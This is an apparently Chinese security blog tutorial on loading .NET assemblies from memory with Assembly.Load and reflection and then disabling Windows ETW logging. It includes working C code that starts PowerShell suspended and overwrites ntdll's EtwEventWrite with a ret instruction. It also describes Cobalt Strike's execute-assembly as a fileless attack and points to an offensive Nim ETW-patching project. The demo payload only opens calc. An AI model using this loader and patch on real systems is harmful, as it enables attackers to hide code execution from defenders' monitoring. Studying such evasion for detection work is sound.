首页 > 系统相关 >内存加载.NET程序集&Bypass ETW

内存加载.NET程序集&Bypass ETW

时间:2023-11-20 17:11:47浏览次数:37  
标签:Assembly ETW 程序 dll 内存 Bypass NET nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

内存加载.NET程序集&Bypass ETW

在内存中加载可以使你的文件变得非常隐蔽,不需要落地文件。下面我们一起来学习一下,如何在内存中加载.net程序集,并且绕过ETW的检测。

0x01 Assembly.Load

官方文档如下Assembly.Load 方法 (System.Reflection) | Microsoft Learn,我在这里也简单介绍一下几个比较重要的函数。

  • Assembly.Load()是从String或AssemblyName类型加载程序集,可以读取字符串形式的程序集,也就是说,文件不需要写入硬盘

  • Assembly.LoadFrom()从指定文件中加载程序集,同时会加载目标程序集所引用和依赖的其他程序集。

    例如:Assembly.LoadFrom("a.dll"),如果a.dll中引用了b.dll,那么会同时加载a.dll和b.dll。

  • Assembly.LoadFile()也是从指定文件中加载程序集,但不会加载目标程序集所引用和依赖的其他程序集。

    例如:Assembly.LoadFile("a.dll"),如果a.dll中引用了b.dll,那么不会加载b.dll。

下面有一个简单的Assembly.Load()的实例。(来自从内存加载.NET程序集(Assembly.Load)的利用分析 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

using System;
namespace TestApplication
{
    public class Program
    {
        public static void Main()
        {
            Console.WriteLine("Main");
        }
    }
    public class aaa
    {
        public static void bbb()
        {
            System.Diagnostics.Process p = new System.Diagnostics.Process();
            p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";
            p.Start();
        }
    }
}

我们创建了一个类aaa,类中有一个方法bbb,方法会调用我们的calc,main函数中会在黑窗中打印Main。

我们编译上面的代码,命令如下:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:testcalc.exe program.cs

这样拿到了我们的exe文件,接下来读取testcalc.exe的内容,并作base64加密。

using System;
using System.Reflection;
namespace TestApplication
{
    public class Program
    {
        public static void Main()
        {

            byte[] buffer = System.IO.File.ReadAllBytes("testcalc.exe");
            string base64str = Convert.ToBase64String(buffer);
            Console.WriteLine(base64str);
        }
    }
}

得到结果如下:

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFt
IGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAH1uWGUAAAAAAAAAAOAAAgELAQsAAAYAAAAIAAAAAAAAfiQAAAAgAAAAQAAA
AABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAACQkAABXAAAAAEAAAOAE
AAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAA
CCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAhAQAAAAgAAAABgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAOAEAAAAQAAAAAYAAAAIAAAAAAAAAAAAAAAA
AABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAADgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAABgJAAAAAAAAEgAAAACAAUAnCAAAIgDAAABAAAA
AQAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADYAcgEAAHAoAwAACgAqHgIoBAAACioAABMwAgAgAAAAAQAAEQBz
BQAACgoGbwYAAApyCwAAcG8HAAAKAAZvCAAACiYqHgIoBAAACipCU0pCAQABAAAAAAAMAAAAdjQuMC4zMDMxOQAAAAAFAGwAAABMAQAAI34AALgBAAAgAQAA
I1N0cmluZ3MAAAAA2AIAAEgAAAAjVV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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==

这就是我们程序集的base64编码的结果,接下来我们用load函数加载到内存中,然后利用c#反射特性,得到bbb方法,然后调用bbb方法即可。代码如下:

using System;
using System.Reflection;
namespace MenoryLoading
{
    public class Program
    {
        public static void Main()
        {

            string base64str = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFt\r\nIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAH1uWGUAAAAAAAAAAOAAAgELAQsAAAYAAAAIAAAAAAAAfiQAAAAgAAAAQAAA\r\nAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAACQkAABXAAAAAEAAAOAE\r\nAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAA\r\nCCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAhAQAAAAgAAAABgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAOAEAAAAQAAAAAYAAAAIAAAAAAAAAAAAAAAA\r\nAABAAABALnJlbG9jA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAAIA0AAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==";
            byte[] buffer = Convert.FromBase64String(base64str);

            Assembly assembly = Assembly.Load(buffer);
            Type type = assembly.GetType("TestApplication.aaa");
            MethodInfo method = type.GetMethod("bbb");
            Object obj = assembly.CreateInstance(method.Name);
            method.Invoke(obj, null);
        }
    }
}

得到结果

image-20231118164901645

我们这里打开一个开源项目,Seatbelt,它可以帮助我们获取主机的一些信息,然后在主函数处添加sleep代码,让他进行休眠,然后用工具Process Hacker2,可以看到程序集被调用的一些信息。

image-20231118185814753一元机场

产生内存的加载日志,这显然是不太好的,因此我们接下来谈谈bypass ETW的事情。

0x02 Bypass ETW

微软官方介绍:使用 ETW 检测代码 | Microsoft Learn

ETW,即Windows事件跟踪,虽然该功能最早是为了调试和监控性能引入的,但是这并不妨碍它成为监控execute-assembly等功能的行为操作。

在大佬们的博客了解到,通过在clr.dll处观察,看看能否发现事件触发的瞬间。加载 PDB 并使用 Ghidra 查找 AssemblyDCStart_V1 符号,可以了解EWT的机制。

Dropping into WinDBG and setting a breakpoint on all ntdll!EtwEventWrite calls occurring after the ModuleLoad method above, we quickly discover the following where we can see our Assembly name of "test" is being sent:

翻译一下就是我们在上面用 ETW 消费者观察到了这一点。跳转到 WinDBG 并在上面的 ModuleLoad 方法之后发生的所有 ntdll!EtwEventWrite 调用上设置断点,我们很快就发现了下面的情况,在这里我们可以看到 "test "的程序集名称正在被发送。

所以我们只要修改一些ntdll的EtwEventWrite 方法就可以阻止事件的报告。
下面我们用x64debug一起来调试一下我们的powershell。

image-20231119201449234

上面是我们没有调试之前的,有很多日志,接下来我们开始调试。
image-20231119201629641

首先找到我们需要的函数,点进去,看到具体的函数

image-20231119201703488

直接在函数开头返回,点击那一行,然后按空格进行编辑,ret返回。

image-20231119201754281

在process hacker2上查看,发现查看不到日志
image-20231119202246377

即bypass成功,接下来就是在代码中实现了。

0x03 代码实现

代码的话也很简单,只需要加载进来ntdll模块,然后找到EtwEventWrite函数,然后给的第一块内存值变为0xc3即可,即ret。


#include <Windows.h>
#include <stdio.h>
#include <Tlhelp32.h>
int main() {
	STARTUPINFOA si = {0};
	PROCESS_INFORMATION pi = { 0 };
	si.cb = sizeof(si);

	CreateProcessA(NULL, (LPSTR)"powershell -NoExit", NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

	HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
	LPVOID pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");

	DWORD oldProtect;
	char patch = 0xc3;

	VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
	WriteProcessMemory(pi.hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof(char),NULL);

	VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, oldProtect, NULL); 
	ResumeThread(pi.hThread);
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
	//FreeLibrary(hNtdll);
	return 0;

}

这段代码会启动powershell程序,然后获取ntdll的句柄和EtwEventWrite函数的地址,然后修改内存的属性为可读可写可执行,然后将新的数据写入 PowerShell 进程中的 EtwEventWrite 函数的内存地址,然后恢复函数的内存保护属性,恢复挂起的进程,从而达到bypass etw的效果。

0x04 ExecuteAssembly

ExecuteAssembly是cs上的一个功能,它允许你直接在Beacon控制的目标机器上直接执行.NET程序集。

具体来说,这个功能通过在目标机器的内存中加载.NET程序集并执行它,而不需要将程序集写入到磁盘。这种在内存中执行程序的方法也被称为"文件无(fileless)"攻击,因为它能避免在磁盘上留下可疑的文件,从而绕过某些基于文件扫描的防御手段。

使用"execute-assembly"功能时,你需要提供要执行的.NET程序集的本地路径,然后Cobalt Strike会将这个程序集上传到目标机器的内存中并执行它。你还可以为这个程序集提供命令行参数。

源码如下: https://github.com/med0x2e/ExecuteAssembly

这里留个坑以后再分析。

0x05 项目推荐

其实在内存加载这一块,nim还是挺有优势的,推荐大家一个nim patch etw的项目可以和上面我们使用c语言的比较一下。

OffensiveNim/src/etw_patch_bin.nim at master · Haunted-Banshee/OffensiveNim (github.com)

标签:Assembly,ETW,程序,dll,内存,Bypass,NET,nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
From: https://www.cnblogs.com/fdxsec/p/17844372.html

相关文章

  • MODBUS转PROFINET网关TS-180 网关连接西门子 PLC 和工业称重仪表
    随着科技的高速发展,工业自动化行业对日益多样的称重需求越来越高,上海某公司在国内的一个工业自动化项目中,监控中心系统需要远程实时采集工业称重仪表测量的各种称重参数。该系统使用的是西门子S7-300PLC,支持PROFINET以太网协议,工业称重仪表为该公司生产的称重显示控制器,提供......
  • Modbus通用串口转PROFINET IO网关TS-180 在锅炉厂智能温湿度监控系统中的应用
    背景:现代科学技术和工业的迅速发展,不断促进着自动化控制技术及设备通信技术的创新和发展。当前,PLC、DCS、智能仪表等已广泛应用到现场生产控制系统中,本应用案例是在锅炉行业的温湿度监控系统中,西门子S7-300PLC及CP343-1模块与智能温度仪表的通讯,上海泗博自动化技术有限公司......
  • Modbus转PROFINET网关 TS-180
    TS-180实现PROFINET网络与串口网络之间的数据通信。三串口可分别连接具有RS232或RS485接口的设备到PROFINET网络,三串口相同,全为RS232或RS485。即将串口设备转换为PROFINET设备。在PROFINET一端为从站,支持标准的PROFINETRT和IRT协议,PROFINET支持的最多32个槽位,支持最......
  • 【略读论文|时序知识图谱补全】Adaptive Path-Memory Network for Temporal Knowledge
    会议:IJCAI,时间:2023,学校:1中国科学院计算机网络信息中心,北京2中国科学院大学,北京3澳门大学智慧城市物联网国家重点实验室,澳门4香港科技大学(广州),广州5佛罗里达大学计算机科学系,奥兰多摘要:提出一种新的具有TKG关联特征的体系结构建模方法,即自适应路径-记忆网络(DaeMon)。......
  • 滚动更新和回滚部署在 Kubernetes 中的工作原理
    公众号「架构成长指南」,专注于生产实践、云原生、分布式系统、大数据技术分享。在过去的几年中,Kubernetes在生产环境中被广泛使用,它通过其声明式API提供了大量解决方案,用于编排容器。Kubernetes的一个显著特性是其具有弹性的能力,能够执行滚动更新和回滚部署,而能够完成这......
  • VS 2022 不支持 .NET Framework 4.5 项目解决办法(Visual Studio 2022)
    VS2022不支持.NETFramework4.5项目解决办法(VisualStudio2022)默认VisualStudio2022不再支持安装.NETFramework4.5组件@选择组件里面已经不能选择4.5/4.0的框架了此时如果打开基于.NETFramework4.5的项目会收到提示:xxxx面向不再受支持的。NETFramewo......
  • kubernets 设置访问私有仓库的默认秘钥
    背景:设置仓库默认秘钥为了避免每次使用私有镜像部署时,都需要引用密钥,您可将secret添加到namespace的defaultserviceaccount中,参见AddImagePullSecretstoaserviceaccount。否则报错rpcerror:coderequire'dockerlogin':denied:requestedaccesstotheresource......
  • .NET 8 Video教程介绍(开篇)
    教程简介本文将简单描述视频网站教程,视频网站是一个类似于腾讯视频一样的网站,视频资源用户自己上传,然后提供友好的界面查看视频和搜索视频,并且提供管理页面对于视频进行管理,我们将使用Blazor作为前端,并且由MasaFramework作为后端框架,一般情况下我们需要做简单的权限管理,对于用户......
  • 关于AD原理图中的Floating Net Label错误
    编译之后提示如下:直接双击错误跳转这是说标签浮空,没有连接到导线上这里将导线和电阻重新连接,就解决了报错还有另外一种常见的错误如下:这是标签没有连接到导线上,放大原理图并选中标签,结果如下标签左下角有个十字,必须将它放到导线上,放完之后即可解决问题(如果不好调整可以......
  • 维码生成和解析用ZXing.NET
    ZXing.NET是一个开源的、功能强大的二维码处理库,它能够对二维码进行解码(读取信息)和编码(生成二维码)。ZXing 是"ZebraCrossing"的缩写,是一个跨平台的、用于解码和生成条形码和二维码的库。以下是一些ZXing.Net的主要功能通过实例讲解。1.生成二维码usingSystem;usingS......